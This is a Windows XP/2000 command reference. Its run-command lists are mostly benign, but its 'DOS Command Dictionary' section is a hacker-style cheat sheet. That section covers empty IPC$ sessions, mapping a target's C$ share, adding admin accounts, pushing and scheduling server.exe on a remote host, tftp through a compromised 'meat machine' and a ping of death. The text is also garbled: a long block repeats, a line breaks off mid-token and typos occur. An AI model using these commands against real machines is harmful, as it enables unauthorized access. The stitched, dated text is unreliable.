winver Check Windows version
wmimgmt.msc Open Windows Management Architecture (WMI)
wupdmgr Windows Update program
wscript Windows Script Host settings
write WordPad
winmsd System Information
wiaacmgr Scanner and Camera Wizard
winchat XP's built-in LAN chat
mem.exe Show memory usage
msconfig.exe System Configuration Utility
mplayer2 Simple Windows Media Player
mspaint Paint
mstsc Remote Desktop Connection
mplayer2 Media Player
magnify Magnifier utility
mmc Open Console
mobsync Sync command
dxdiag Check DirectX information
drwtsn32 System Doctor
devmgmt.msc Device Manager
dfrg.msc Disk Defragmenter
diskmgmt.msc Disk Management Utility
dcomcnfg Open System Component Services
ddeshare Open DDE Sharing Settings
dvdplay DVD Player
net stop messenger Stop Messenger service
net start messenger Start Messenger service
notepad Open Notepad
nslookup Network Management Tool Wizard
ntbackup System Backup and Restore
narrator Screen "Narrator"
ntmsmgr.msc Removable Storage Manager
ntmsoprq.msc Removable Storage Administrator Operation Request
netstat -an (TC) command to check interface
syncapp Create a Briefcase
sysedit System Configuration Editor
sigverif File Signature Verification Program
sndrec32 Recorder
shrpubw Create Shared Folder
secpol.msc Local Security Policy
syskey System encryption, once encrypted, it cannot be decrypted, protecting the dual password of Windows XP system
services.msc Local Service Settings
sndvol32 Volume Control Program
sfc.exe System File Checker
sfc /scannow Windows File Protection tsshutdn 60-second countdown shutdown command
tourstart XP Introduction (Roaming XP program that appears after installation)
taskmgr Task Manager
eventvwr Event Viewer
eudcedit Character Creation Program
explorer Open Explorer
packager Object Packager
perfmon.msc Computer Performance Monitor
progman Program Manager
regedit.exe Registry
rsop.msc Group Policy Result Set
regedt32 Registry Editor
rononce -p 15-second shutdown
regsvr32 /u *.dll Stop DLL file running
regsvr32 /u zipfldr.dll Disable zip support
cmd.exe CMD Command Prompt
chkdsk.exe Chkdsk Disk Check
certmgr.msc Certificate Management Utility
calc Start Calculator
charmap Start Character Map
cliconfg SQL Server Client Network Utility
clipbrd Clipboard Viewer
conf Start NetMeeting
compmgmt.msc Computer Management
cleanmgr Disk Cleanup
ciadv.msc Indexing Service Program
osk Open On-Screen Keyboard
odbcad32 ODBC Data Source Administrator
oobe/msoobe /a Check if XP is activated
lusrmgr.msc Local Users and Groups
logoff Logoff Command
iexpress Trojan bundling tool, built into the system
nslookup IP Address Detector
fsmgmt.msc Shared Folder Manager
utilman Accessibility Tools Manager
gpedit.msc Group Policy
The following are common run commands for the Windows operating system. Executing these commands will open the corresponding related utilities of the system. If everyone can basically use them, they can check and repair the most basic faults of the system. Except for the logoff and shutdown commands, everyone might as well give it a try!!
Run\Enter CMD\Enter corresponding related utilities:
. Open C:\Documents and Settings\XXX (current logged-in Windows XP username)
.. Open the Documents and Settings folder under the drive letter where Windows XP is located
... Open the "My Computer" option.
accwiz.exe Accessibility Wizard
actmovie.exe Direct Display Installation Tool
append.exe Allows the program to open data in the specified directory
arp.exe Display and change the corresponding list of the computer's IP and hardware physical address
at.exe Schedule Running Tasks
atmadm.exe ATM Call Manager Statistics
attrib.exe Display and change file and folder attributes
autochk.exe Detect and repair file system (not available in XP)
autoconv.exe Automatically convert the system during startup (not available in XP)
autofmt.exe Format process during startup (not available in XP)
autolfn.exe Use long filename format (not available in XP)
arp.exe Display and change the computer's IP and hardware physical address correspondence
calc.exe Calculator
Bootvrfy.exe Report successful startup
cacls.exe Display and edit ACL
cdplayer.exe CD Player
change.exe Related queries to Terminal Server (not available in XP)
charmap.exe Character Map
chglogon.exe Start or stop session logging (not available in XP)
chgport.exe Change port (Terminal Services) (not available in XP)
chgusr.exe Change user (Terminal Services) (not available in XP)
chkdsk.exe Disk Check Program
chkntfs.exe NTFS Disk Check Program
cidaemon.exe Compose Ci Document Service
cipher.exe Display or change encrypted files or directories on NTFS
cisvc.exe Open Indexed Content
ckcnv.exe Transform Cookie
cleanmgr.exe Disk Cleanup
cliconfg.exe SQL Client Network Tool
clipbrd.exe Clipboard Viewer
clipsrv.exe Run Clipboard Service
clspack.exe Build System File List Manifest
cluster.exe Display domain clusters (not available in XP)
cmd.exe Enter 2000\XP DOS
cmdl32.exe Automatic Download Connection Management
cmmgr32.exe Connection Manager
cmmon32.exe Connection Manager Monitor
cmstp.exe Connection Manager Profile Installer
comclust.exe Cluster
comp.exe Compare the contents of two files and file sets
conf Start NetMeeting Chat Tool
control userpasswords2 XP Password Management.
compmgmt.msc Computer Management
cprofile.exe Convert Display Mode (not available in XP)
Start, Run, Enter CMD\Enter net config workstation Computer name \Full computer name\Username
Workstation is active (i.e., network description) \Software version (i.e., software version number) \Workstation domain DNS name of the workstation
Login domain \COM open time-out (seconds) \COM send amount (bytes) \COM send time-out (msec)
CMD\Enter net config workstation Change configurable workstation service settings.
CMD\Enter net config server Can display non-configurable next server computer name \Server comment \Server version (i.e., software version number)
Server is active (i.e., network description) \Server is hidden (i.e., /hidden setting)
Maximum number of logged-in users (i.e., maximum number of users who can use server shared resources)
Maximum number of files opened per session (i.e., maximum number of files that a user can open on a server in one session)
Idle session time (minimum)
chkdsk.exe Disk Check.
Chkdsk /r The Chkdsk /r command in the 2000 command console checks and repairs system files
cleanmgr Disk Cleanup
Clipbrd Clipboard Viewer
C:boot.ini Open Boot Menu
compact.exe Display or change the compression status of files on the NTFS partition
conime.exe IME Console
control.exe Control Panel
convert.exe NTFS Convert file system to NTFS
convlog.exe Convert IIS log file format to NCSA format
cprofile.exe Convert Display Mode
cscript.exe Script Host Version
csrss.exe Client Server Runtime Process (not available in XP)
csvde.exe Format Conversion Program (not available in XP)
dcpromo Active Directory Installation (not available in XP)
drwtsn32 System Doctor
diskmgmt.msc Disk Manager (and PowerQuest PartitionMagic 8.0)
dvdplay DVD Player
devmgmt.msc Device Manager (Check computer hardware, drivers)
dxdiag Check DirectX Information
dcomcnfg.exe DCOM Configuration Properties (Console Root)
dcpromo.exe Installation Wizard (not available in XP)
ddeshare.exe DDE Sharing
debug.exe Check DEBUG
dfrgfat.exe FAT Partition Disk Defragmenter
dfrgntfs.exe NTFS Partition Disk Defragmenter (not available in XP)
dfs_cmd_.exe Configure DFS Tree (not available in XP)
dfsinit.exe Distributed File System Initialization (not available in XP)
dfssvc.exe Distributed File System Server (not available in XP)
diantz.exe Make CAB File
diskperf.exe Disk Performance Counter
dmremote.exe Part of Disk Management Service (not available in XP)
doskey.exe Create Macro at Command Line
dosx.exe DOS Extension
dplaysvr.exe Direct Run Help (not available in XP)
drwatson.exe Watson Doctor Error Detection
drwtsn32.exe Watson Doctor Display and Configuration Management
dvdplay.exe DVD Playback
dxdiag.exe Direct-X Diagnostic Tool
edlin.exe Text Editing at Command Line
esentutl.exe MS Database Tool
eudcedit.exe Character Creation Program
eventvwr.exe Event Viewer
exe2bin.exe Convert EXE File to Binary
expand.exe Extract Compressed Files
extrac32.exe Extract CAB Tool
fsmgmt.msc Shared Folder
fastopen.exe Fast Access to Hard Disk Files in Memory
faxcover.exe Fax Cover Sheet Editor
faxqueue.exe Display Fax Queue
faxsend.exe Send Fax Wizard
faxsvc.exe Start Fax Service
fc.exe Compare Differences Between Two Files
find.exe Find Text Lines in Files
findstr.exe Find Lines in Files
finger.exe A user and display statistics
fixmapi.exe Repair MAPI File
flattemp.exe Allow or Disable Temporary File Directory (not available in XP)
fontview.exe Display Fonts in Font File
forcedos.exe Force File to Run in DOS Mode
ftp.exe FTP Download
gpedit.msc Group Policy
gdi.exe Graphics Interface Driver
grpconv.exe Convert Program Administrator Group
hostname.exe Display Machine's Hostname
Internat Input Method Icon
iexpress Trojan Bundling Tool, Built into the System
ieshwiz.exe Custom Folder Wizard
iexpress.exe iexpress Installation Package
iisreset.exe Restart IIS Service (Not Available if IIS is Not Installed)
internat.exe Keyboard Language Indicator (not available in XP)
ipconfig.exe View IP Configuration
ipsecmon.exe IP Security Monitor
ipxroute.exe IPX Routing and Source Routing Control Program
irftp.exe Wireless Connection
ismserv.exe Install or Remove Service in Service Control Manager
jdbgmgr.exe Java 4 Debugger
jetconv.exe Convert Jet Engine Database (not available in XP)
jetpack.exe Compress Jet Database (not available in XP)
jview.exe Java Command Line Loader
label.exe Change Volume Label of Drive
lcwiz.exe License Wizard (not available in XP)
ldifde.exe LDIF Directory Exchange Command Line Management (not available in XP)
licmgr.exe Terminal Services License Agreement Management (not available in XP)
lights.exe Display Connection Status (not available in XP)
llsmgr.exe Windows 2000 License Agreement Management (not available in XP)
llssrv.exe Start License Agreement Server (not available in XP)
locator.exe RPC Locator Remote Location
lodctr.exe Call Performance Count
logoff.exe Log Off Current User
lpq.exe Display Status of Remote LPD Print Queue, Display Print Jobs Sent to Unix-Based Server
lpr.exe For Unix Clients to Send Print Jobs to NT Printer Server Connected to Print Device.
lsass.exe Run LSA and Server DLL
lserver.exe Specify Default Server New DNS Domain (not available in XP)
lusrmgr.msc Local Account Management
mmc Console
mplayer2 Player
macfile.exe Manage MACFILES (not available in XP)
magnify.exe Magnifier
makecab.exe Make CAB File
mem.exe Show Memory Status
migpwd.exe Migrate Password
mmc.exe Console
mnmsrvc.exe Remote Desktop Sharing
mobsync.exe Synchronize Directory Manager
mountvol.exe Create, Delete, or List Mount Points of Volume.
mplay32.exe Media Player
mpnotify.exe Notification Application
mqbkup.exe Information Queue Backup and Restore Tool
mqmig.exe MSMQ Migration Utility Information Queue Migration Tool
mrinfo.exe Use SNMP Multicast Routing
mscdexnt.exe Install MSCD
msdtc.exe Dynamic Transaction Processing Console
msg.exe Send Message to Local or Remote Client
mshta.exe HTML Application Host
msiexec.exe Start Windows Installer
mspaint.exe Open Paint
mstask.exe Task Scheduler Program
mstinit.exe Task Scheduler Installation
Msconfig.exe System Configuration Utility (Configure Startup Options, Service Items)
mem.exe Show Memory Usage
mspaint Paint
Net Stop Messenger Stop Messenger Service
Net Start Messenger Resume Messenger Service
nslookup Network Management Tool
Nslookup IP Address Detector
ntbackup System Backup and Restore
nbtstat.exe Use NBT (NetBIOS over TCP/IP) to display protocol statistics and current TCP/IP connections.
nddeapir.exe NDDE API Server Side
netsh.exe For Configuring and Monitoring Windows 2000 Command Line Script Interface (not available in XP)
netstat.exe Display Protocol Statistics and Current TCP/IP Network Connections.
nlsfunc.exe Load Information for Specific Countries. Windows 2000 and MS-DOS Subsystem Do Not Use This Command, Accepting the Command Only for Compatibility with MS-DOS Files.
notepad.exe Open Notepad
nslookup.exe This Diagnostic Tool Displays Information from Domain Name System (DNS) Name Servers.
ntbackup.exe Backup and Disaster Recovery Tool
ntfrs.exe NT File Replication Service (not available in XP)
ntvdm.exe Simulate 16-bit Windows Environment
nw16.exe NetWare Redirector
nwscript.exe Run Netware Script
odbcad32.exe 32-bit ODBC Data Source Management (Driver Management)
odbcconf.exe Command Line Configure ODBC Driver and Data Source
packager.exe Object Packager
pathping.exe Program Including Ping and Tracert
pentnt.exe Check Pentium Floating Point Errors
perfmon.exe System Performance Monitor
ping.exe Verify Connection to Remote Computer
posix.exe For Compatibility with Unix
print.exe Print Text File or Display Contents of Print Queue.
progman.exe Program Manager
psxss.exe Posix Subsystem Application
qappsrv.exe Display Programs Available on Terminal Server on Network
qprocess.exe Display Process Information Locally or Remotely (Requires Terminal Services)
query.exe Query Processes and Conversations (not available in XP)
quser.exe Display User Login Information (Requires Terminal Services)
qwinsta.exe Display Terminal Services Information
rononce -p 15-second Shutdown
rasAdmin Remote Access Service.
regedit.exe Registry Editor
rasadmin.exe Start Remote Access Service (not available in XP)
rasautou.exe Establish a RAS Connection
rasdial.exe Broadband, Dial-up Connection
ras.exe Run RAS Connection (not available in XP)
rcp.exe Copy Files Between Computer and System Running Remote Shell Port Monitor Program rshd
rdpclip.exe Terminal and Local Copy and Paste Files
recover.exe Recover Readable Information from Bad or Defective Disk.
redir.exe Run Redirector Service
regedt32.exe 32-bit Registration Service
regini.exe Modify Registration Permissions with Script
regwiz.exe Registration Wizard
replace.exe Replace Files in Target Directory with Files of the Same Name in Source Directory.
rexec.exe The rexec command verifies the username on the remote computer before executing the specified command. This command can only be used after the TCP/IP protocol is installed.
risetup.exe Run Remote Installation Wizard Service (not available in XP)
route.exe Control Network Routing Table
rsh.exe Run Command on Remote Computer Running RSH Service
rsnotify.exe Remote Storage Notification Echo
runas.exe Allows Users to Run Specified Tools and Programs with Other Permissions
rundll32.exe Start 32-bit DLL Program
rwinsta.exe Reset Session Subsystem Hardware and Software to Initial Values
Sndvol32 Volume Control Program
sfc.exe or CMD\ sfc.exe Press Enter System File Checker
services.msc Network Connection Service
syskey System Encryption, (Once Encrypted, It Cannot Be Unlocked, Protecting the Dual Password of Windows XP System wupdmgr WIDNOWS UPDATE)
SCANREG/RESTORE Command to Restore Recent Registry
secedit.exe Automated Security Configuration Management
services.exe Control All Services
sethc.exe Set High Contrast
setver.exe Set the MS-DOS Version Number Reported by the MS-DOS Subsystem to the Program
sfc.exe System File Check
shadow.exe Monitor Another Terminal Server Session
shrpubw.exe Create and Share Folder
sigverif.exe File Signature Verification
smlogsvc.exe Performance Logs and Alerts (not available in XP)
sndrec32.exe Recorder
sndvol32.exe Display Sound Control Information
snmp.exe Simple Network Management Protocol (not available in XP)
snmptrap.exe SNMP Tool (not available in XP)
srvmgr.exe Server Manager (not available in XP)
subst.exe Associate Path with Drive Letter
sysedit.exe System Configuration Editor
syskey.exe NT Account Database Encryption Tool
sysocmgr.exe > Windows Installer
systray.exe Run systray with Low Privilege
taskmgr Task Manager
tasklist /svc(CMD) Understand How Many System Services Each SVCHOST Process Provides (Not Available in 2000\98)
tlist -S(CMD) Understand How Many System Services Each SVCHOST Process Provides (
taskman.exe Task Manager (not available in XP)
taskmgr.exe Task Manager
tcmsetup.exe Telephone Service Client Installation
tcpsvcs.exe TCP Service
termsrv.exe Terminal Services
tftp.exe Transfer Files to or from Remote Computer Running TFTP Service
themes.exe Desktop Themes (not available in XP)
tlntadmn.exe Administrator Telnet Service Management
tlntsess.exe Display Current Telnet Sessions
tlntsvr.exe Start Telnet Service
tracert.exe Diagnostic Utility Sends Internet Control Message Protocol (ICMP) Echo Packets with Different Time to Live (TTL) Values to the Target to Determine the Route Taken to the Target
tsadmin.exe Administrator Terminal Services Manager (not available in XP)
tscon.exe Paste User Session to Terminal Conversation
tsdiscon.exe Disconnect User of Terminal Services
tskill.exe Kill Terminal Services
tsprof.exe Get Query Results with Terminal Services
tsshutdn.exe Shutdown System
unlodctr.exe Part of Performance Monitor
upg351db.exe Upgrade Jet Database (not available in XP)
ups.exe UPS service UPS Service
user.exe Windows Core Service
userinit.exe Open My Documents
usrmgr.exe Domain User Manager
utilman.exe Specify Which Machine to Automatically Open at 2000 Startup
vwipxspx.exe Call IPX/SPX VDM
w32tm.exe Time Server
wextract.exe Extract Windows Files
winchat.exe Open Windows Chat Tool
winhlp32.exe Run Help System
winmsd.exe View System Information
winver.exe Display Windows Version
wizmgr.exe Windows Management Wizard (not available in XP)
wjview.exe Java Command Line Call Java
write.exe Open WordPad
wscript.exe Script Tool
wupdmgr.exe Windows update Run Windows update Upgrade Wizard
winver Check Windows Version
Win98 System Tools
Start, Run, Enter Msconfig System Configuration Utility Configure Startup Options, Including config.sys, autoexec.bat, win.ini, system.ini and Registry and Startup Items in Program Menu. And Can Set Whether to Boot in Case of Failure.
Start, Run, Enter Regedit Registry Modification Tool Registry Editor, Do Not Randomly Modify the Registry Without Assurance!
Start, Run, Enter Regsvr32 DLL Registration Tool When Prompting That the DLL File Cannot Be Found, Use This to Register the Dynamic Link Library.
Start, Run, Enter Regwiz Registration Wizard Used for Registration. Verify System Files and Can Restore System Files.
If an Error Similar to *.vxd File Occurs During Startup, Use This to Restore the vxd File.
Start, Run, Enter Scandskw Disk Scan Program, Used to Scan and Repair Disks. If There Are Errors in the Disk or Files, It Can Be Used for Initial Repair.
Start, Run, Enter DxDiag DirectX Diagnostic Tool Can Be Used to Detect Whether DirectX Runs Normally.
Start, Run, Enter NETSCAPE
ESC: Clear Current Command Line;
F7: Display Command History, Give All Commands That Have Been Entered in the Form of a Graphic List Window, and Can Select to Execute the Command Again with Up and Down Arrow Keys.
F8: Search Command History, Cycle Through All Commands That Have Been Entered Until You Press the Enter Key;
F9: Select Command by Number, Require You to Enter the Number Corresponding to the Command (Starting from 0) in a Graphic Dialog Box, and Display the Command on the Screen;
Ctrl+H: Delete One Character to the Left of the Cursor;
Ctrl+C Ctrl+Break, Force Abort Command Execution;
Ctrl+M: Indicates the Enter Confirmation Key;
Alt+F7: Clear All Command History That Has Been Entered;
Alt+PrintScreen: Capture the Content in the Current Command Window on the Screen.
The System Files Are Damaged by the Virus. Please Use Antivirus Software to Kill the Virus, and Then Use the Chkdsk /r Command in the "Command Console" Provided by Windows 2000 to Check and Repair the System Files.
DOS Command Dictionary.. Collection
net use \ip\ipc$ " " /user:" " Establish IPC Empty Link
net use \ip\ipc$ "Password" /user:"Username" Establish IPC Non-Empty Link
net use h: \ip\c$ "Password" /user:"Username" Directly Log In and Map the Other Party's C: to Local as H:
net use h: \ip\c$ Log In and Map the Other Party's C: to Local as H:
net use \ip\ipc$ /del Delete IPC Link
net use h: /del Delete the Mapping of the Other Party to Local as H:
net user Username Password /add Create User
net user guest /active:yes Activate Guest User
net user View Which Users There Are
net user Account Name View Account Properties
net localgroup ***istrators Username /add Add "User" to Administrator to Make It Have Administrator Privileges, Note: Add s in Plural After ***istrator
net start View Which Services Are Started
net start Service Name Start Service; (e.g.: net start telnet, net start schedule)
net stop Service Name Stop a Certain Service
net time \Target IP View the Other Party's Time
net time \Target IP /set Set Local Computer Time to Synchronize with the Time of "Target IP" Host, Add Parameter /yes to Cancel Confirmation Information
net view View Which Shares Are Opened in the Local LAN
net view \ip View Which Shares Are Opened in the Other Party's LAN
net config Display System Network Settings
net logoff Disconnect Connected Shares
net pause Service Name Pause a Certain Service
net send ip "Text Information" Send Information to the Other Party
net ver Network Connection Type and Information Being Used in the LAN
net share View Local Opened Shares
net share ipc$ Open ipc
net share ipc$ /del Delete ipc
net share c$ /del Delete C: Share
net user guest 12345 Log in with Guest User and Change Password to 12345
net password Password Change System Login Password
netstat -a View Which Ports Are Opened, Commonly Used netstat -an
netstat -n View Network Connection Status of Ports, Commonly Used netstat -an
netstat -v View Work in Progress
netstat -p Protocol Name Example: netstat -p tcq/ip View Usage of a Certain Protocol (View Usage of tcp/ip Protocol)
netstat -s View Usage of All Currently Used Protocols
nbtstat -A ip If One of the Ports from 136 to 139 of the Other Party Is Opened, You Can View the Recently Logged-in Username of the Other Party (Username Before 03) - Note: Parameter -A Should Be Capitalized
tracert -Parameter ip (or Computer Name) Trace Route (Packet), Parameter: "-w Number" Used to Set Timeout Interval.
ping ip (or Domain Name) Send Data with Default Size of 32 Bytes to the Other Party's Host, Parameter: "-l[Space]Packet Size"; "-n Send Data Times"; "-t" Means Ping Continuously.
ping -t -l 65550 ip Death Ping (Send File Larger Than 64K and Ping Continuously to Become Death Ping)
ipconfig (winipcfg) Used to View Local IP Address for Windows NT and XP (Windows 95 98), ipconfig Can Use Parameter "/all" to Display All Configuration Information
tlist -t Display Processes in Tree List Form (An Additional Tool for the System, Not Installed by Default, in the Support/tools Folder of the Installation Directory)
kill -F Process Name Force End a Certain Process with Parameter -F (An Additional Tool for the System, Not Installed by Default, in the Support/tools Folder of the Installation Directory)
del -F File Name Delete Read-Only File with Parameter -F, /AR, /AH, /AS, /AA Respectively Mean Delete Read-Only, Hidden, System, Archive File, /A-R, /A-H, /A-S, /A-A Mean Delete Files Other Than Read-Only, Hidden, System, Archive. For Example, "DEL/AR *.*" Means Delete All Read-Only Files in the Current Directory, "DEL/A-S *.*" Means Delete All Files in the Current Directory Except System Files
move Drive Letter\Path\File Name to Be Moved Path\Moved File Name Move File, Use Parameter /y to Cancel the Prompt to Confirm the Existence of the Same File in the Moved Directory and Directly Overwrite
fc one.txt two.txt > 3st.txt Compare Two Files and Output Differences to 3st.txt File, "> " and "> >" Are Redirect Commands
at id number Start a Registered Scheduled Task
at /delete Stop All Scheduled Tasks, Use Parameter /yes Then Do Not Need to Confirm and Directly Stop
at id number /delete Stop a Registered Scheduled Task
at View All Scheduled Tasks
at \ip time Program Name (or a Command) /r Run the Other Party's Program at a Certain Time and Restart the Computer
finger username @host View Which Users Have Logged In Recently
telnet ip Port Remotely Log in to the Server, Default Port Is 23
open ip Connect to IP (Belongs to Command After Telnet Login)
telnet Type telnet Directly on This Computer to Enter Telnet on This Computer
copy Path\File Name 1 Path\File Name 2 /y Copy File 1 to the Specified Directory as File 2, Use Parameter /y to Cancel Confirm You Want to Rewrite an Existing Directory File
copy c:\srv.exe \ip\***$ Copy Local c:\srv.exe to the Other Party's ***
cppy 1st.jpg/b+2st.txt/a 3st.jpg Hide the Content of 2st.txt in 1st.jpg to Generate a New File 3st.jpg, Note: The File Header of 2st.txt Should Be Empty for Three Rows, Parameter: /b Means Binary File, /a Means ASCLL Format File
copy \ip\***$\svv.exe c:\ or:copy\ip\***$\*.* Copy the Other Party's ***i.exe File (All Files) to Local C:
xcopy File or Directory Tree to Be Copied Target Address\Directory Name Copy File and Directory Tree, Use Parameter /Y to Not Prompt to Overwrite the Same File
tftp -i Own IP (Use Meat Machine as Jump Server, This Uses Meat Machine IP) get server.exe c:\server.exe After Logging In, Download "IP" Server.exe to Target Host c:\server.exe Parameter: -i Means Transfer in Binary Mode, Use When Transferring EXE Files, If Not Adding -i, Transfer in ASCII Mode (Transfer Text File Mode)
tftp -i Other Party's IP put c:\server.exe After Logging In, Upload Local c:\server.exe to the Host
ftp ip Port Used to Upload Files to the Server or Perform File Operations, Default Port Is 21. bin Means Transfer in Binary Mode (For Executable Files); Default Is Transfer in ASCII Format (For Text Files)
route print Display IP Routing, Will Mainly Display Network Address Network addres, Subnet Mask Netmask, Gateway Address Gateway addres, Interface Address Interface
arp View and Process ARP Cache, ARP Means Name Resolution, Responsible for Resolving an IP into a Physical MAC Address. arp -a Will Display All Information
start Program Name or Command /max or/min Open a New Window and Run a Certain Program or Command in Maximized (Minimized) Mode
mem View CPU Usage
attrib File Name (Directory Name) View Attributes of a Certain File (Directory)
attrib File Name -A -R -S -H or +A +R +S +H Remove (Add) Attributes of a Certain File: Archive, Read-Only, System, Hidden; Use + to Add a Certain Attribute
dir View Files, Parameter: /Q Displays Which User the File and Directory Belong to the System, /T:C Displays File Creation Time, /T:A Displays Last Access Time of File, /T:W Last Modified Time
date /t, time /t Use This Parameter, That Is "DATE/T", "TIME/T" Will Only Display Current Date and Time, Without Having to Enter New Date and Time
set Specify Environment Variable Name=Character to Be Assigned to Variable Set Environment Variable
set Display All Current Environment Variables
set p(or other word?/ca>
wmimgmt.msc Open Windows Management Architecture (WMI)
wupdmgr Windows Update program
wscript Windows Script Host settings
write WordPad
winmsd System Information
wiaacmgr Scanner and Camera Wizard
winchat XP's built-in LAN chat
mem.exe Show memory usage
msconfig.exe System Configuration Utility
mplayer2 Simple Windows Media Player
mspaint Paint
mstsc Remote Desktop Connection
mplayer2 Media Player
magnify Magnifier utility
mmc Open Console
mobsync Sync command
dxdiag Check DirectX information
drwtsn32 System Doctor
devmgmt.msc Device Manager
dfrg.msc Disk Defragmenter
diskmgmt.msc Disk Management Utility
dcomcnfg Open System Component Services
ddeshare Open DDE Sharing Settings
dvdplay DVD Player
net stop messenger Stop Messenger service
net start messenger Start Messenger service
notepad Open Notepad
nslookup Network Management Tool Wizard
ntbackup System Backup and Restore
narrator Screen "Narrator"
ntmsmgr.msc Removable Storage Manager
ntmsoprq.msc Removable Storage Administrator Operation Request
netstat -an (TC) command to check interface
syncapp Create a Briefcase
sysedit System Configuration Editor
sigverif File Signature Verification Program
sndrec32 Recorder
shrpubw Create Shared Folder
secpol.msc Local Security Policy
syskey System encryption, once encrypted, it cannot be decrypted, protecting the dual password of Windows XP system
services.msc Local Service Settings
sndvol32 Volume Control Program
sfc.exe System File Checker
sfc /scannow Windows File Protection tsshutdn 60-second countdown shutdown command
tourstart XP Introduction (Roaming XP program that appears after installation)
taskmgr Task Manager
eventvwr Event Viewer
eudcedit Character Creation Program
explorer Open Explorer
packager Object Packager
perfmon.msc Computer Performance Monitor
progman Program Manager
regedit.exe Registry
rsop.msc Group Policy Result Set
regedt32 Registry Editor
rononce -p 15-second shutdown
regsvr32 /u *.dll Stop DLL file running
regsvr32 /u zipfldr.dll Disable zip support
cmd.exe CMD Command Prompt
chkdsk.exe Chkdsk Disk Check
certmgr.msc Certificate Management Utility
calc Start Calculator
charmap Start Character Map
cliconfg SQL Server Client Network Utility
clipbrd Clipboard Viewer
conf Start NetMeeting
compmgmt.msc Computer Management
cleanmgr Disk Cleanup
ciadv.msc Indexing Service Program
osk Open On-Screen Keyboard
odbcad32 ODBC Data Source Administrator
oobe/msoobe /a Check if XP is activated
lusrmgr.msc Local Users and Groups
logoff Logoff Command
iexpress Trojan bundling tool, built into the system
nslookup IP Address Detector
fsmgmt.msc Shared Folder Manager
utilman Accessibility Tools Manager
gpedit.msc Group Policy
The following are common run commands for the Windows operating system. Executing these commands will open the corresponding related utilities of the system. If everyone can basically use them, they can check and repair the most basic faults of the system. Except for the logoff and shutdown commands, everyone might as well give it a try!!
Run\Enter CMD\Enter corresponding related utilities:
. Open C:\Documents and Settings\XXX (current logged-in Windows XP username)
.. Open the Documents and Settings folder under the drive letter where Windows XP is located
... Open the "My Computer" option.
accwiz.exe Accessibility Wizard
actmovie.exe Direct Display Installation Tool
append.exe Allows the program to open data in the specified directory
arp.exe Display and change the corresponding list of the computer's IP and hardware physical address
at.exe Schedule Running Tasks
atmadm.exe ATM Call Manager Statistics
attrib.exe Display and change file and folder attributes
autochk.exe Detect and repair file system (not available in XP)
autoconv.exe Automatically convert the system during startup (not available in XP)
autofmt.exe Format process during startup (not available in XP)
autolfn.exe Use long filename format (not available in XP)
arp.exe Display and change the computer's IP and hardware physical address correspondence
calc.exe Calculator
Bootvrfy.exe Report successful startup
cacls.exe Display and edit ACL
cdplayer.exe CD Player
change.exe Related queries to Terminal Server (not available in XP)
charmap.exe Character Map
chglogon.exe Start or stop session logging (not available in XP)
chgport.exe Change port (Terminal Services) (not available in XP)
chgusr.exe Change user (Terminal Services) (not available in XP)
chkdsk.exe Disk Check Program
chkntfs.exe NTFS Disk Check Program
cidaemon.exe Compose Ci Document Service
cipher.exe Display or change encrypted files or directories on NTFS
cisvc.exe Open Indexed Content
ckcnv.exe Transform Cookie
cleanmgr.exe Disk Cleanup
cliconfg.exe SQL Client Network Tool
clipbrd.exe Clipboard Viewer
clipsrv.exe Run Clipboard Service
clspack.exe Build System File List Manifest
cluster.exe Display domain clusters (not available in XP)
cmd.exe Enter 2000\XP DOS
cmdl32.exe Automatic Download Connection Management
cmmgr32.exe Connection Manager
cmmon32.exe Connection Manager Monitor
cmstp.exe Connection Manager Profile Installer
comclust.exe Cluster
comp.exe Compare the contents of two files and file sets
conf Start NetMeeting Chat Tool
control userpasswords2 XP Password Management.
compmgmt.msc Computer Management
cprofile.exe Convert Display Mode (not available in XP)
Start, Run, Enter CMD\Enter net config workstation Computer name \Full computer name\Username
Workstation is active (i.e., network description) \Software version (i.e., software version number) \Workstation domain DNS name of the workstation
Login domain \COM open time-out (seconds) \COM send amount (bytes) \COM send time-out (msec)
CMD\Enter net config workstation Change configurable workstation service settings.
CMD\Enter net config server Can display non-configurable next server computer name \Server comment \Server version (i.e., software version number)
Server is active (i.e., network description) \Server is hidden (i.e., /hidden setting)
Maximum number of logged-in users (i.e., maximum number of users who can use server shared resources)
Maximum number of files opened per session (i.e., maximum number of files that a user can open on a server in one session)
Idle session time (minimum)
chkdsk.exe Disk Check.
Chkdsk /r The Chkdsk /r command in the 2000 command console checks and repairs system files
cleanmgr Disk Cleanup
Clipbrd Clipboard Viewer
C:boot.ini Open Boot Menu
compact.exe Display or change the compression status of files on the NTFS partition
conime.exe IME Console
control.exe Control Panel
convert.exe NTFS Convert file system to NTFS
convlog.exe Convert IIS log file format to NCSA format
cprofile.exe Convert Display Mode
cscript.exe Script Host Version
csrss.exe Client Server Runtime Process (not available in XP)
csvde.exe Format Conversion Program (not available in XP)
dcpromo Active Directory Installation (not available in XP)
drwtsn32 System Doctor
diskmgmt.msc Disk Manager (and PowerQuest PartitionMagic 8.0)
dvdplay DVD Player
devmgmt.msc Device Manager (Check computer hardware, drivers)
dxdiag Check DirectX Information
dcomcnfg.exe DCOM Configuration Properties (Console Root)
dcpromo.exe Installation Wizard (not available in XP)
ddeshare.exe DDE Sharing
debug.exe Check DEBUG
dfrgfat.exe FAT Partition Disk Defragmenter
dfrgntfs.exe NTFS Partition Disk Defragmenter (not available in XP)
dfs_cmd_.exe Configure DFS Tree (not available in XP)
dfsinit.exe Distributed File System Initialization (not available in XP)
dfssvc.exe Distributed File System Server (not available in XP)
diantz.exe Make CAB File
diskperf.exe Disk Performance Counter
dmremote.exe Part of Disk Management Service (not available in XP)
doskey.exe Create Macro at Command Line
dosx.exe DOS Extension
dplaysvr.exe Direct Run Help (not available in XP)
drwatson.exe Watson Doctor Error Detection
drwtsn32.exe Watson Doctor Display and Configuration Management
dvdplay.exe DVD Playback
dxdiag.exe Direct-X Diagnostic Tool
edlin.exe Text Editing at Command Line
esentutl.exe MS Database Tool
eudcedit.exe Character Creation Program
eventvwr.exe Event Viewer
exe2bin.exe Convert EXE File to Binary
expand.exe Extract Compressed Files
extrac32.exe Extract CAB Tool
fsmgmt.msc Shared Folder
fastopen.exe Fast Access to Hard Disk Files in Memory
faxcover.exe Fax Cover Sheet Editor
faxqueue.exe Display Fax Queue
faxsend.exe Send Fax Wizard
faxsvc.exe Start Fax Service
fc.exe Compare Differences Between Two Files
find.exe Find Text Lines in Files
findstr.exe Find Lines in Files
finger.exe A user and display statistics
fixmapi.exe Repair MAPI File
flattemp.exe Allow or Disable Temporary File Directory (not available in XP)
fontview.exe Display Fonts in Font File
